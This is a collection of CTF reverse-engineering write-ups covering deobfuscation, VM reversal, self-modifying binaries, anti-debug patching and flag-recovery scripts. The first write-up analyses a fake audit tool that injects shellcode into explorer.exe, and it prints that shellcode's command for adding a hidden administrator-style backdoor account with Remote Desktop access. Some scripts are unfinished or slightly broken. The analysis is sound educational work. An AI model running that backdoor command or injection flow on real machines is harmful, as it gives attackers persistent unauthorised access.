CorpSyncAudit [rev]

From the challenge description, the scenario is that a malicious program disguised as audit software was installed on all employees’ machines. It is also hinted that one of the log files can trigger malicious behavior that creates a backdoor on the victim’s machine.

We are given a PE file, CorpSyncAudit.exe, and a folder of logs.

Quick Tour

Startup

From the entry point start, we reach sub_140001155:

I looked through sub_140007C20, sub_140001477, and sub_1400079A7; they are just initialization routines.

Continuing into sub_1400077B0, this turns out to be a wrapper.

From there, we continue to sub_14000726E.

This is the application’s GUI entry/setup function.

Since the window procedure, lpfWndProc, contains most of the GUI behavior, sub_1400063E5 is the next function to inspect.

Inside, there were a handful of functions, so I checked their xrefs. If a function had many references, I marked it as a helper. That narrowed down the list.

Here I found sub_14000061B5, which handles the open-file dialog.

The markings from the previous step made that function stand out.

Log Reader

Stepping inside sub_1400003827, we arrive at the log reader.

Using the same marking approach as I did for sub_1400063E5, I was left with a manageable number of functions.

After scanning through them, I found a familiar pattern in sub_14000340B :

Suspicious Part

With further inspection inside sub_14000185F, it likely resolves WinAPI addresses from hashed identifiers.

Time to switch to dynamic analysis and see what it does here.

Hands-On

Catching

I loaded the PE in x64dbg and set bp corpsyncaudit.exe:$3541.

Among the logs, sync_20260412_192364.log stands out because it is much larger than the others, so it is the best candidate for triggering the malicious path.

Luckily, there are no anti-debug measures, so once that log is loaded and the breakpoint hits, the stack reveals pretty much everything:

After renaming the variables, this is clearly a classic remote process injection flow (T1055.002): open explorer.exe, allocate memory, write the payload, change the page permissions, and start a remote thread.

Then I set bp corpsyncaudit.exe+3712 and used savedata :memdump:, r8, r9, which gave me the payload for the second stage.

Shellcode Analysis

From there, I switched back to static analysis of the dumped shellcode:

First, it cleans up with cld and clears the low bits of rsp. Then it transfers control to the main payload logic at 0xCA.

Note that when it executes call loc_CA, the address 0x0A is pushed onto the stack. So pop rbp stores that 0x0A in rbp.

Because shellcode is self-contained and position-independent, it must have some way to resolve the APIs needed to run things. We can infer that sub_A is the API resolver for this shellcode.

That part can be annotated like this:

At offset 0x10B, the payload contains the command used to create the backdoor account:

net user backup_admin SFRCe2Q0NzNfNzFtM180bmRfNjRja2QwMHI1fQ== /add && net localgroup "Remote Desktop Users" backup_admin /add

Flag

The password string is Base64-encoded, and decoding it gives the flag: HTB{d473_71m3_4nd_64ckd00r5}.

I put it in IDA and analyze:

de-callfuscating

This binary is filled with many trampoline jumps.

Scrolling through, the obfuscation pattern is:

call next_block

next_block:
	pop r8
	<real instruction>
	call another_block

Note that the call instruction does two things:

• pushes addr of the next instruction onto the stack
• and jumps to the target.

The pop r8 discards the return address from the stack, allowing the program continue linearly

The obfuscate algo is equivalent to this clean logic:

jmp next_block

next_block:
	<real instruction>
	jmp another_block

The following script nop-ed the pop r8 and patched call to jmp .

import struct
import sys

BASE = 0x400000

def target_of_call(buf, off):
    rel = struct.unpack_from("<i", buf, off + 1)[0]
    return BASE + off + 5 + rel


buf = bytearray(open('crackme', "rb").read())

for off in range(len(buf) - 5):
	if buf[off] != 0xE8:
		continue

	target = target_of_call(buf, off)
	target_off = target - BASE

	if 0 <= target_off < len(buf) - 1 and buf[target_off : target_off + 2] == b"\x41\x58":
		buf[off] = 0xE9
		buf[target_off : target_off + 2] = b"\x90\x90"

open('patched_crackme', "wb").write(buf)
print("done")

a vm awaits

IDA handled the jmp and got me this clean pseudocode.

It seems this is VM-obfuscated

and the VM handlers are heavily MBA-obfuscated

In this case, i’ll guess its semantics by sampling some pairs (7,3), (11,6), (16,4). These are the pairs that produce unique, distinguishable outputs for each common arithmetic and bitwise operation.

Deduced that:

• sub_401F18 ~ add
• sub_4050AA ~ sub
• sub_401166 ~ mul
• sub_4080D6~ and
• sub_406E47 ~ or
• sub_405C1F ~ xor

vm reversal

I began by dumping the bytecode.

Then, i replicate the VM behavior

import struct
import sys


INPUT_BASE = 0x40F080


def u32(x):
    return x & 0xFFFFFFFF


def hx(x):
    return f"0x{u32(x):08x}"


def pop2(stack):
    b = stack.pop()
    a = stack.pop()
    return a, b

password = "A"*64
data = open("dump", "rb").read()
code = list(struct.unpack("<" + "I" * (len(data) // 4), data))[:0x24A]
mem = {INPUT_BASE + i: c for i, c in enumerate(password.encode() + b"\x00")}

stack = []
pc = 0

while pc < len(code):
    ip = pc
    op = code[pc]
    pc += 1

    if op == 0:
        val = code[pc]
        pc += 1
        stack.append(val)
        msg = f"PUSH {hx(val)}"

    elif op == 1:
        val = stack.pop()
        msg = f"POP {hx(val)}"

    elif op == 2:
        a, b = pop2(stack)
        stack.append(u32(a + b))
        msg = f"ADD {hx(a)} + {hx(b)}"

    elif op == 3:
        a, b = pop2(stack)
        stack.append(u32(a - b))
        msg = f"SUB {hx(a)} - {hx(b)}"

    elif op == 5:
        a, b = pop2(stack)
        stack.append(u32(a * b))
        msg = f"MUL {hx(a)} * {hx(b)}"

    elif op == 6:
        a, b = pop2(stack)
        stack.append(u32(a & b))
        msg = f"AND {hx(a)} & {hx(b)}"

    elif op == 7:
        a, b = pop2(stack)
        stack.append(u32(a | b))
        msg = f"OR  {hx(a)} | {hx(b)}"

    elif op == 8:
        a, b = pop2(stack)
        stack.append(u32(a ^ b))
        msg = f"XOR {hx(a)} ^ {hx(b)}"

    elif op == 9:
        addr = code[pc]
        pc += 1
        stack.append(mem.get(addr, 0))
        msg = f"LOAD_ABS [{addr:#x}]"

    elif op == 10:
        addr = stack.pop()
        val = mem.get(u32(addr), 0)
        stack.append(val)
        ch = f" '{chr(val)}'" if 32 <= val <= 126 else ""
        msg = f"LOAD_PTR [{u32(addr):#x}] -> {val:#x}{ch}"

    else:
        print(f"{ip:04d}: unknown opcode {op:#x}")
        break

    top = hx(stack[-1]) if stack else "<empty>"
    print(f"{ip:04d}: {msg:<35} top={top} stack_depth={len(stack)}")

print()
if stack:
    print(f"final top = {hx(stack[-1])}")
    print("Correct" if u32(stack[-1]) == 0 else "Incorrect")
else:
    print("empty stack")

Analyzed the log:

Retrieve the stored xoring values from the dump and we are done

print(bytes.fromhex(hex(0x0915033a ^ 0x41414141)[2:]
                    + hex(0x427d7872 ^ 0x11111111)[2:] 
                    + hex(0x30310a00 ^ 0x55555555)[2:]
                    + hex(0x2a052e32 ^ 0x5a5a5a5a)[2:]
                    + hex(0xcff5ecdf ^ 0xaaaaaaaa)[2:]
                    + hex(0x1914031e ^ 0x77777777)[2:]
                    + hex(0xf6f7c6ad ^ 0x99999999)[2:]
                    + hex(0x6c6a524e ^ 0x33333333)[2:]))

flag

nice challenge HTB{Sliced_Up_the_Function_4_Ya}

just strings it

Maybe they forgot sth, let’s solve it in the “intended” way

what if it’s a remote challenge

This feels like a maze challenge where we have to reach all the nodes. Once we’re done, call submit to get the flag

Digging into IDA: main -> runScript -> applyVisibleStep. I found EDGE_TABLE, which (as confirmed through testing) basically maps out all the edges of the “catacombs”.

escaperoom [rev]

This is another game/riddle challenge

I tried out all the commands. It seems that once we achieve the correct room state, we can 8. enter door override token to get the flag.

The tasks are listed in the facility log:

I also found the state variables for these things:

1. gstate = 0 light off
2. dword_5D90E4 = 1 ventilation route east
3. dword_5D90E8 = 3 cam 3
4. dword_5D90EC = 2 door patch 2 times
5. inside maintainance shell: dword_5D90F1 = 1 mirror first then dword_5D90F2 = 1 hush
6. dword_5D90F0 = 1 emegency battery on

Alright, thing is set up

But i still need the door token; where could it be? Looking at the references of those state variables, I found roomSignature() -> buildOverrideToken()

I couldn’t find where it was called, so i replicated it:

def rol32(v, n):
    v &= 0xFFFFFFFF
    return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF

def room_signature(g_state, e4, e8, ec, f0, f1, f2):
    v0 = 324508639 if g_state else 610839776
    inner = (521288629 * (e4 + 1) + rol32(v0 ^ 0xA17C3E29, 7)) & 0xFFFFFFFF
    v5 = (668265261 * (ec + 5) + ((73244475 * (e8 + 3)) ^ inner)) & 0xFFFFFFFF
    v1 = 0xFFFFFFFF & -1515890086 if f1 else 1515890085
    v6 = (v1 ^ v5) & 0xFFFFFFFF
    v2 = 826366246 if f0 else 655894552
    v7 = (v2 + v6) & 0xFFFFFFFF
    v3 = 0xFFFFFFFF & -559038737 if f2 else 0xFFFFFFFF & -1160724258
    return (v3 ^ v7) & 0xFFFFFFFF

def build_override_token(g_state, e4, e8, ec, f0, f1, f2):
    alphabet = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789"
    spice = [19, 55, 49374, 48879, 90, 2766, 16962, 36877, 4660, 1911]
    sig = room_signature(g_state, e4, e8, ec, f0, f1, f2)
    v6 = (sig ^ 0x6F70656E) & 0xFFFFFFFF
    token = []
    for i in range(10):
        v6 = (1664525 * v6 + spice[i] + 1013904223) & 0xFFFFFFFF
        token.append(alphabet[v6 >> 27])
        if i == 2 or i == 5:
            token.append('-')
    return ''.join(token)

print(build_override_token(
    g_state=0, e4=1, e8=3, ec=2, f0=1, f1=1, f2=1
))

Running it prints: RHY-QVT-KAXJ

I wonder if there is a neat way to reverse the validate() in enterOverrideToken() for a better approach.

trivia

I was fed up at this point of writing. Some other challenges follow a similar game-like pattern:

• find & setup the correct state
• derive the token
• submit token & get flag Except for the reallysecurepasswordmanager, where we have to find a way to bypass the user check.

Let’s take a look at the interesting thing i found in these challenges:

mangled look

For example, this is from challenge say my name:

Upon looking it up, this was done with anonymous namespace. Let me explain:

A namespace is just a named container that groups related code together to avoid name collisions.

namespace math {
    int add(int a, int b) { return a + b; }
}

namespace mycode {
    int add(int a, int b) { return a + b; }
}

math::add(1, 2);    // unambiguous
mycode::add(1, 2);  // unambiguous

An **anonymous namespace** is the same thing but with no name:

namespace {
    int add(int a, int b) { return a + b; }
}

The C++ standard gives symbols in anonymous namespaces internal linkage, IDA just labels them with the prefix 'anonynmous namespace'::

looks fun.

gdb start & ni denial

can’t run with start

in certain parts. the ni doesn’t work

i haven’t figured out why yet, be updating soon.

Here we have a clean .jar file, i ran it and it’s a pacman game, the flag supposedly appears after achieving the highscore.

Decompile it with JADX, the class SimplePacMan has a method for throwing flag.

Dynamic approach

Set the score to 6942069 and we’re done

Here we can cook it with jdb (java debugger)

Or just read it out

Alternatively, we can continue static analysis. Notice that:

There is a revalidate() method in JTextBasket:

Note that public class JTextBasket extends JComponent, so it passes the score as the component’s name. Then in revalidate() it calls getName() to retrieve that score 6942069 for deriving the flag. Here is a python script that replicates what it does:

from Crypto.Cipher import AES
import base64

val = (6942069 * 10 + 1) ** 4

key = bytes.fromhex(str(val))
iv = bytes.fromhex(str(val)[::-1])
ct = base64.b64decode("6Ach6HiD0JmCc1L+RwxDRzhW3sC1kS6XydgSuWVFpxVXRU8EjfuMxIMoIzMwK/ii")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ct)
print(decrypted)

I have a nightmare where I have to learn OOP again.

Checkmate Liver King

“I found this interesting Chess game. It seems to run really slow. I wonder what secrets it holds?”

Let’s check things out.

Without turning on the engine, the game runs normally with no lag. With the engine on, it starts freezing after 2 moves

However, when I play certain openings, it responds really fast. There must be an opening book embedded inside.

That leads me to the easy approach.

The OSINT way

https://www.chess.com/article/view/fried-liver-attack-chess-opening

Play the main line and it pops.

lol

anyway, that’s by luck, i’m studying reverse, so here we go.

Rev approach

Benchmarking work lol. When i play some random moves, it prints out “Reply function triggered” and after a while it prints those remaining logs.

I put the binary in IDA and searched for ENGINE messages. They are all processed in sub_9E0650.

The engine

Inside, there are some loops calculating the pieces position,etc…

Benchmarking with gdb: It takes a while for sub_A51490 to return. So that’s the core.

holy moly

The chess engine operates on two tracks: it either retrieves ‘book moves’ from a database or generates them via complex, computationally expensive algorithms.

My approach was to locate the “slow” part of the engine by benchmarking with gdb. Although the complex part was easier to find, it looked horrible to analyze (wasted a lot of time on ts :mattimkhocloc:).

So I sought the “fast route” with the IDA graph, here is the fastest that i found:

Checker sub_AE0580

I began by stepping through in pwndbg. Derived these

I play a known “fast move” to see what is the address of the book position.

Check the memory map

So the position table is heap-allocated at runtime. I dumped it out and inspect

Scrolling down a bit is the black’s immediate response:

At this point, we can try follow the positions in the heap dump and the flag message would pop.

Flag

nice anti-slop with that big engine

DawgCTF{e4e5f3c6c4f6g5d5d5d5f7f7}

0racle [rev]

“Speak your truth and i shall convene with the gods on your behalf”

We need to put the right flag into that text box; nice theme, eh?

This challenge features a GUI and has a lot of functions for processing images and messages. My first instinct was to use x64dbg to find the input pipeline.

I put it in DiE (Detect It Easy) to search for message box APIs.
Asked Gemini anyway, and it said I should put a breakpoint on GetWindowTextW.

With ScyllaHide on, let’s try out some inputs

I guess they don’t like my hello

What about the wrapped hello?

Cool! They also give me another message

I captured 3 call stacks, here i go compare them and check out where they branch:

0x426A55, 0x4269c9 - 0x426658, 0x426a2b Let’s check them out with IDA, those addrs sit nicely inside sub_4268A0

What da sub_4268A0 doin

I commented on the lines with the corresponding messages

sub_426430 gets the message sub_426AF0 prints out the message box

Analyzing the logic of sub_426430, concluded that it just xor the unk_ with 0x57. I decoded the message of the case v9 = 1; it says “The gods are pleased and commend your insight.”, sounds good.

Let’s trace back the v9.

With x64dbg, i can confirm that v10 is our input. sub_4034C0 loads 0x4B7 bytes of sub_556260 into v11.

Blob blob blob sub_556260

The first part here using the kalmar{ to decrypt a blob

Then it performs a check. If it fails, it returns -1.

The decrypted blob

I saw the “heard” message (the address may vary each time, i put a bp around 0x4269AA and walked there)

After 2 jumps, it calls sub_0042660 to pop up the message, and then i encountered a weird ret far

(The addresses here are different because i ran it again, just focus on the asm)

Looking it up, this is called a “Heaven’s Gate” (nice theme fit). In short, it jumps from 32-bit into 64-bit mode

x32dbg crashes right after that, so I guess I have to dump the thing and read it

The validator inside the gate

I loaded the dumped bin to IDA. Luckily, thing wasn’t so tangled

First, jumps to loc_2AA

There, it calls sub_275. This walks the input, uppercases the characters and returns the length.

So here flag_len = 40

Next is loc_6D. Here it calls sub_2D1, this thing does some checking, and switches back to 32-bit mode. The main validation logic lives here

r11 holds the uppercased input r9 holds the original input

The while loops calling sub_124 checking through r11. The sequence of sub_F calculates and checks the hash of flag parts.

Finishing algos

v4 = Ax^3 + Bx^2 + Cx + D
A,B,C,D are derived from a2

v3 = rounded(v4)

But where is that second argument? Tracking back, it was poped from the stack.

We jumped from 0x6D, so the top of the stack is 0x72. There is the polynomial coefficients table

From here, we can dump out the table, replicate sub_124 and get the uppercased flag KALMAR{M15S_TH3_S1GN5_4ND_3NTER_TH3_M4Z3}

Then, we can replicate sub_F and brute force to get the correct casing of the characters.

FLag

kalmar{M15S_Th3_S1gN5_4Nd_3NteR_tH3_M4Z3}

p/s: this was fun, i wonder if there is a way to dynamic analyze when it switches to 64-bit mode to save time analyzing the polynomial thing.

The challenge provided a binary nucleus21.exe. I tried running it, and it creates a new file nucleus22.exe after receiving input. I noted that the new file is larger.

First impression

First, it makes a copy of itself (with a different index), and then sub_1400010D0 modifies that new copy.

Inside

Note that v7 holds a copy of the file.

I guessed that the flag was fed to the nucleus in the form of 21 single bytes.

There are two things left to answer now:

1. Address the “resource” - how do we extract it?
2. How should we recover the bytes?

Solution

1. By looking it up, I found that the resource section is .rsrc. Claude generated an extraction script for me.
2. It XORed the entire binary file, which means the magic bytes also got XORed.

import pefile
from pwn import xor

flag = ""

for i in range(20, -1, -1):
	pe = pefile.PE(f"nucleus{i+1}.exe")
	for res_type in pe.DIRECTORY_ENTRY_RESOURCE.entries:
		if res_type.id == pefile.RESOURCE_TYPE['RT_RCDATA']:
			for res_id in res_type.directory.entries:
				if res_id.id == 101:
					for res_lang in res_id.directory.entries:
						data_rva = res_lang.data.struct.OffsetToData
						size = res_lang.data.struct.Size
						payload = pe.get_data(data_rva, size)
						key = payload[0] ^ ord('M')
						flag += chr(key)
						open(f"nucleus{i}.exe", "wb").write(xor(payload,key))

print(flag[::-1])

Flag

gigem{RCD4Ta_i5_N3aT}

challenge7 [rev]

The challenge provides a binary file challenge7 that validates an input. After a quick scan, I caught these:

Then, the input stays untouched and gets passed to a JIT function compiled with some VM-like code.

Scrolling down:

I think we should set a breakpoint there and dump out the validating function(s), eh? Let’s check for anti-debugging measures; there should be some standing in our way.

The hunt

outside the loop

I first found this:

sub_32D0 appears at the start of the loop as well; let’s see what’s inside.

sub_32D0

While inspecting xmmword_106E0, I found something familiar.

It matches xmmword_106E0. I concluded that sub_3220 is SHA-256, and from that, derived that sub_2B60 and sub_3010 are also part of the SHA-256 process (I’m going to rename them for later analysis).

If the hash passes, then a1[3] = a1[4] = 0.

The rest of this check function is just a debugger check (iPrecarT :d) and a hook check (LD_PRELOAD): it corrupts a1[3] and a1[4] if there is anything suspicious.

We can conclude that sub_32D0 sets v62[6] = ... = v62[9] = 0 (if things run normally).

With that finding, I just need to keep an eye out for anything that touches v62[6:10], and also v62[10:12] because they hold information about the runtime .text section.

inside the loop

I found just this one:

The other parts are just VM things; it feeds the VM state into those hashes too. I guess we don’t need to touch them (reading all that makes me feel dizzy as hell, nah).

Patching

I gathered that we just need to patch sub_3220 so it doesn’t screw up our v62.

hmmmmmmm…..

“Hey Claude, nop-nuke this shit for me (remember to return 1).”

Found one, dumped it.

There seems to be just one flag_check func.

Finishing

The dumped function looks legit. I decompiled it in IDA. Note that:

And I got the reverse script:

def ror4(x, n): return ((x >> n) | (x << (32-n))) & 0xFFFFFFFF
def rol4(x, n): return ((x << n) | (x >> (32-n))) & 0xFFFFFFFF
  
expected_v18 = {}
for i in range(0, 8): expected_v18[i] = (0x2b48b515d43f4140 >> (i*8)) & 0xFF
for i in range(8, 16): expected_v18[i] = (0x35bcb75507c270f7 >> ((i-8)*8)) & 0xFF
for i in range(16, 24): expected_v18[i] = (0x841e959c29c8f1e7 >> ((i-16)*8)) & 0xFF
for i in range(24, 32): expected_v18[i] = (0x1e7c68fc9ce020c2 >> ((i-24)*8)) & 0xFF
for i in range(32, 37): expected_v18[i] = (0x000000daf7d998de >> ((i-32)*8)) & 0xFF
expected =[expected_v18[i] for i in range(37)]

v6 = 0x1337c0de ^ 0xc0def00d
v10 = 0; v9 = 0
flag_chars =[]; all_ok = True

for i in range(37):
	tmp = (v6 + v10 - 0x61c88647) & 0xFFFFFFFF
	next_v6 = (rol4(tmp, 5) ^ ror4(tmp, 3)) & 0xFFFFFFFF
	r10d = (next_v6 >> 8) & 0xFFFFFFFF
	ecx_add = (((next_v6 >> 16) & 0xFFFFFFFF) + v9) & 0xFF
	A = (i*17 ^ next_v6 ^ r10d) & 0xFF
	needed = (expected[i] - ecx_add) & 0xFF
	
	flag_chars.append((A ^ needed) & 0xFF)
	v6 = next_v6
	v10 = (v10 + 0x45d9f3b) & 0xFFFFFFFF
	v9 = (v9 + 0xb) & 0xFFFFFFFF

flag_inner = ''.join(chr(c) for c in flag_chars)
print(f"gigem}")

Flag

gigem{this_will_be_the_flag_for_challenge_7}

war-hymn [rev]

Inspecting main, I found a repeating pattern like this:

v = ...
if debugger_present():
	corrupt(v)

new_v = b''
for i in range(len(v))
	new_v += v[i] ^ (xmmword_403070[i] + 21)

After 1 or 2 blocks like that, it feeds the decrypted strings to another function.

I began by checking the code around the first two decodes:

sub_402260 & qword_405160

Checking the routine:

Keeping going, note that:

qword_405160(v27, v40, v52)
v40 = proc/self/exe
v52 = .init.checksum.validation

jump back to main

The next strings are .bss.secure.buffer and .init.constructors.global, which get passed to sub_401D90.

sub_401D90 also scans for the data section. It passes the found section pointer to the second argument and assigns the length to the third argument.

Everything is then fed to the function in v27, holding the .init.checksum.validation section. I guess now we need to find out what that was.

Dumping

Speaking of ELF sections, let’s use readelf to see where they live.

It calls a function at .init.checksum.validation, so I dumped that section:

data = open("war-hymn", "rb").read()[0x5000 : 0x5000 + 0x47]
open("init_constructors_global.bin", "wb").write(data)

and put it in IDA:

a1: encrypted data ptr, a2: data len, a3: dest, a4: key ptr, a5: key len

This takes 5 args, but the pseudocode showed just 4. Let’s check the ASM in main again:

So this should be the correct replication:

with open('war-hymn','rb') as f:
	d = f.read()

ctor_key = d[0x4480:0x4480+0x30d]
bss = d[0x6000:0x6000+0xc42]

def decrypt_checksum(src, key, key_len, init_acc=0x67):
	acc = init_acc
	out = bytearray()
	for i, b in enumerate(src):
		idx = i % key_len
		val = key[idx] + i
		acc = acc + val
		out.append(b ^ (acc & 0xff))
	return bytes(out)
	
  
dec = decrypt_checksum(bss, ctor_key, 0x30d-1)
open('decrypted_thing','wb').write(dec)

I was curious, so I threw it into DiE and ImHex:

Jackpot. That 78 9C are the magic bytes of zlib.

Later analysis of sub_4020D0 -> sub_401F90 also confirms that there is some sort of inflating (decompression).

Let’s decompress it and see what it holds:

import zlib

compressed = open("decrypted_thing", "rb").read()
#
decompressed_data = zlib.decompress(compressed[8:])
open("is_this_final", "wb").write(decompressed_data)

Last file to analyze

The decompressed binary has some functions as follows:

run is the entry point. Now things are in plain sight.

file = open('is_this_final','rb').read()
  
def rc4(key, data):
	# rc4 implement here
	return bytes(out)

key = b'AggiesAggiesAggies'

data1 = file[0x3080:0x3080+0x12]
dec1 = rc4(key, data1)

data2 = file[0x3098:0x3098+0x0f]
dec2 = rc4(key, data2)
  
data3 = file[0x30b0:0x30b0+0x11]
dec3 = rc4(key, data3)

dat4110 = file[0x30e0:0x30e0+0x34]
dec4 = rc4(key, dat4110)

Flag

gigem{sh0uld_h4v3_r4n_th3_b411_0n_f1r$t_4nd_g04l!!!}

BKSEC{ctf_has_always_been_fun_til_now?}

very cool native app (REV)

The challenge provides an ipa.

Inside it, there are 2 files that caught my eye: the Mach-O64 HermesChallenge and the binary main.jsbundle.

I tried analyzing the Mach-O64 but it didn’t give me anything useful.

I proceed edto analyzing the .jsbundle, putting it in DiE

With that information, I found the tool : https://github.com/P1sec/hermes-dec (after struggling a bit with the syntax) I got the desired .js; let’s take a look:

We have an “unfinished” flag at _q3m. Scroll down a little

There are some suspicious skips, This _w9p should be the one that checks those missing characters.

I fed it all to the LLM and it got me the full thing:

IoT_ez_or_hard

This challenge is about inspecting a firmware update. %% (which was kind of broken and my task is to analyze to see how it works and recovers the flag (the author accidentally hinted this)) %%

Extracting

The challenge provides me a router_fw.bin. I asked the LLM for the tools and how could i extract the data from this, after a while i got what i wanted %%0x7e = 126%%

Found an executable cloudsync. Let’s dive into that

If nothing is suspicious, it passes us to the sub_1a70

Let’s take a look at sub_1a70 %%that wall of vars jumpscared me%%

scrolling through, these are noticeable:

• it reads the serial
• it reads itself
• loads something from 0x31c0 - 0x3220
• it reads the backup.dat (the backup file for syncing?)
• it has its own reading func sub_19b0
• sub_1900 and sub_1710 were called several times (together)
• There is a XOR check loop at the end
• 128 bits = 16 bytes

Analyzing & guessing sub_1900 & sub_1710

it loads some hard coded vals, i’m curious what those were

That code pattern appeared several more times:

So there is a high chance the LLM was right %%(there is no chance we have a custom hashing/encrypting here, yeah?)%%

From what i have known: SHA256 has 3 parts: init, update and finalize I derived that

• sub_1900(state, src, len) ~ sha_update
• sub_1710(state, dest) ~ sha_finalize

Reconstructing

Now i can rewrite the first part with python

import hashlib  

sugar = bytes.fromhex("4C18217E0A6B2D72334F5561102A3C19")[::-1]

exe_bytes = open("cloudsync", "rb").read()
self_has = hashlib.sha256(exe_bytes).digest()

serial = b'ROUTER-61AAE6FC6A83FD56'
first_dish = hashlib.sha256(serial + sugar + self_has).digest()

The first_dish is our router’s “signature”

it then goes to the HMAC and was checked with the tag from the backup.dat

dat = open("backup.dat", "rb").read()
tag = dat[0x19 + 39 : 0x19 + 39 + 32]

import hmac

assert hmac.new(first_dish, dat[5:0x19+39], hashlib.sha256).digest() == tag, "HMAC not ok"
print("HMAC ok")

I copied all the file in the same folder tested it and it said “ok” %%jackpot!%%. Our key first_dish is correct.

aaaaanddddddd….. did i miss something? isn’t it supposed to have a decrypting fuction? (so this is the part where it was broken)

looked around and found this untouched sub_2340

rewirite:

key = hashlib.sha256(key1 + key2 + b'\x00\x00\x00\x00').digest()
key += hashlib.sha256(key1 + key2 + b'\x01\x00\x00\x00').digest()
...
flag = xor(cipher, key)

Finishing

With further inspection of the backup.dat and trying out the combinations (with LLM), i got the right combinations, the full script was written as below

import hashlib, hmac
from pwn import xor

sugar = bytes.fromhex("4C18217E0A6B2D72334F5561102A3C19")[::-1]

exe_bytes = open("cloudsync", "rb").read()
self_has = hashlib.sha256(exe_bytes).digest()

serial = b'ROUTER-61AAE6FC6A83FD56'
first_dish = hashlib.sha256(serial + sugar + self_has).digest()

dat = open("backup.dat", "rb").read()
ntwice = dat[5 : 0x15]
tag = dat[0x40:]

assert hmac.new(first_dish, dat[5:0x19+39], hashlib.sha256).digest() == tag, "HMAC not ok"
print("HMAC ok")

skibidi = dat[0x19 : 0x19 + 39]
bo_pi_xi = hashlib.sha256(first_dish[:16] + ntwice + b'\x00\x00\x00\x00').digest()
bo_pi_xi += hashlib.sha256(first_dish[:16] + ntwice + b'\x01\x00\x00\x00').digest()
print(xor(skibidi, bo_pi_xi))

The .zip Dream gave me containes 2 binaries. Brief inspection showed that their decompiled pseudocode is identical so I’m just going to analyze the deploy/prob.

The binary reads our input and validates it using FUN_00101407. Provide the correct spell 10 times to retrieve the flag.

Analysis of FUN_00101407

Diving into FUN_00101407. There is only one return line: return local_10 == param_2 when it is done iterating through param_1

Regarding local_10, i can see that

• local_10 = local_10 + 1 if param_1[i] == 'A'
• local_10 = local_10 << 1 if param_1[i] == 'B'

Solution

Since param_1 is our input, i got this for constructing the spell if given param_2 (or local_1b8):

for chr in f"{by:b}":
	if chr == '1': spell = spell + 'A'
	spell = spell + 'B'

Stepping back to main, local_1b8 receives bytes from local_1b0, which reads from /dev/urandom. There is FUN_0010138d prints the monster’s stats using all the bytes from local_1b8.

From that, I have this to retrieve the random byte local_1b8: local_1b8 = (hp << 0x30) | str | (agi << 8) | (vit << 0x0) | (int << 0x18) | (end << 0x20) | (dex << 0x28)

Finally, I wrote this script that did the job:

import re
from pwn import *

p = process("./prob")
#p would change

for i in range(10):
	p.recvuntil(b']:')
	
	monster = p.recvuntil(b'Cast your spell!: ').decode()
	in4 = [int(s) for s in re.findall(r'\d+', monster)]
	print(in4)
	
	by=0
	for j in [0,6,5,4,3,2,1]:
		by = by + in4[j]
		by = by << 8
	by = by >> 8
	
	spell = ""
	for chr in f"{by:b}":
		if chr == '1': spell = spell + 'A'
		spell = spell + 'B'
	spell = spell[:-1]
	
	print(spell)
	p.sendline(spell.encode())
p.interactive()

Flag

At the time of writing, I was having a problem with pwntools remote() so I’ll update the flag later.

photographer

Dream gave me a binary and an encoded flag.

At a glance, it seems that byte stream from the flag is parsed into local_448 (as this later be used in the check loop):

Loop Analysis

In the loops: local_480 is the index;

FUN_00102bb6 simply gets the pointer to the next byte

FUN_001024c2 is shift left, FUN_00102489 is shift right

*puVar7 = uVar3 updates the new value

With that in mind, i wrote the decoder, with r for the rand():

if i % 3 == 2:
	dec = (current_byte + 0x18) ^ r
elif i % 3 == 0:
	dec = ((current_byte >> 4 | current_byte << 4) - r) % 256
	dec = dec >> 1 | dec << 7
else:
	r = r % 8
	dec = current_byte << r | curr_by >> (8-r)

Full Script

Knowing that the program uses srand(0xbeef), we can replicate all the rand() in the binary, the full script is written as below:

import ctypes
libc = ctypes.CDLL("libc.so.6")
libc.srand(0xbeef)

with open("flag.bmp.enc", 'rb') as data, open("flag.bmp", 'wb') as flag:
	i = 0
	while(True):
		cur = data.read(1)
		if (not cur): break
		current_byte = int.from_bytes(cur)
		r = libc.rand() % 256
		
		if i % 3 == 2:
			dec = (current_byte + 0x18) ^ r
		elif i % 3 == 0:
			dec = ((current_byte >> 4 | current_byte << 4) - r) % 256
			dec = dec >> 1 | dec << 7
		else:
			r = r % 8
			dec = current_byte << r | curr_by >> (8-r)
		
		flag.write(bytes([dec % 256]))
		i = i + 1

Flag

DH{d85a130283f58035eb327b56e37d2dd087156ba629687a5d52bd4af3c5bfa4f4}

similar

The program gives us a list of list, each containing 3 integers ranging from -100 to 100. After showing, it then sorts that list using FUN_001017c8. If we get the sorted order right, we get the flag.

Analysis of FUN_001017c8

This fuction calculates value from the list of 3 integers and compares them:

Let’s check the FUN_00106a3

While examining, there is this param_1 >> 0x20 appeared a little confusing. Suspecting that Ghidra might have analyzed it wrong, I take a look at the assembly:

By default int is 4 bytes so [RBP + local_48 + 0x4] = param_1[1].

Further inspection of the assembly in FUN_001017c8 revealed that the value loaded into FUN_00106a3 was actually param_1[2].

Implementation

Now we know how it sorts, implement it and we’re done:

from math import sqrt
from pwn import *
from functools import cmp_to_key

def cal(a): 
	return (1- (a[1] + a[2] + a[0])/ (sqrt(3) * sqrt(a[1]*a[1] + a[0]*a[0] + a[2]*a[2])))

def compar(a,b):
	x = cal(a)
	y = cal(b)
	if x<y: return -1
	elif x>y: return 1
	else: return 0

r = remote('host8.dreamhack.games', 15703)
data = r.recvuntil(b'Result?').decode()
arr = [list(map(int, line.split(':')[1].split())) + [int(line.split(':')[0])] for line in data.splitlines() if ':' in line and line.split(':')[0].strip().isdigit()]
sor = sorted(arr, key=cmp_to_key(compar))
payload = " ".join(str(a[3]) for a in sor)
r.sendline(payload.encode())
r.interactive()

Flag

DH{s1m1l4r_in_c0s1n3:2OL5p3IWpaiDXt3T0dPUkg==}

CrabME

I spotted flagchecker(), lVar5 serves as the index. The validation process begins when lVar5 == 64.

I was confused about that thing with uVar6, uVar7 below. After some time looking it up, it’s handling the reconstruction of 1, 2, 3 or 4-byte character.

Inspecting the Logic

I rewrite the check logic with x := uVar1 as below:

(((x >> 2 & 0b00100000 |  x >> 4 & 0b00000100 | (x << 3 & 0b10000000 |
   x >> 2 & 0b00000010 | (x >> 1 & 0b00000001 |  x << 3 & 0b00001000)
+ (x << 2 & 0b00010000) + (x << 1 & 0b01000000)) ^ 99) + 0x22 & 0xff

Turns out it shuffles the bits of x and do some simple operations.

Reversing

Reverse it and now we’re done…

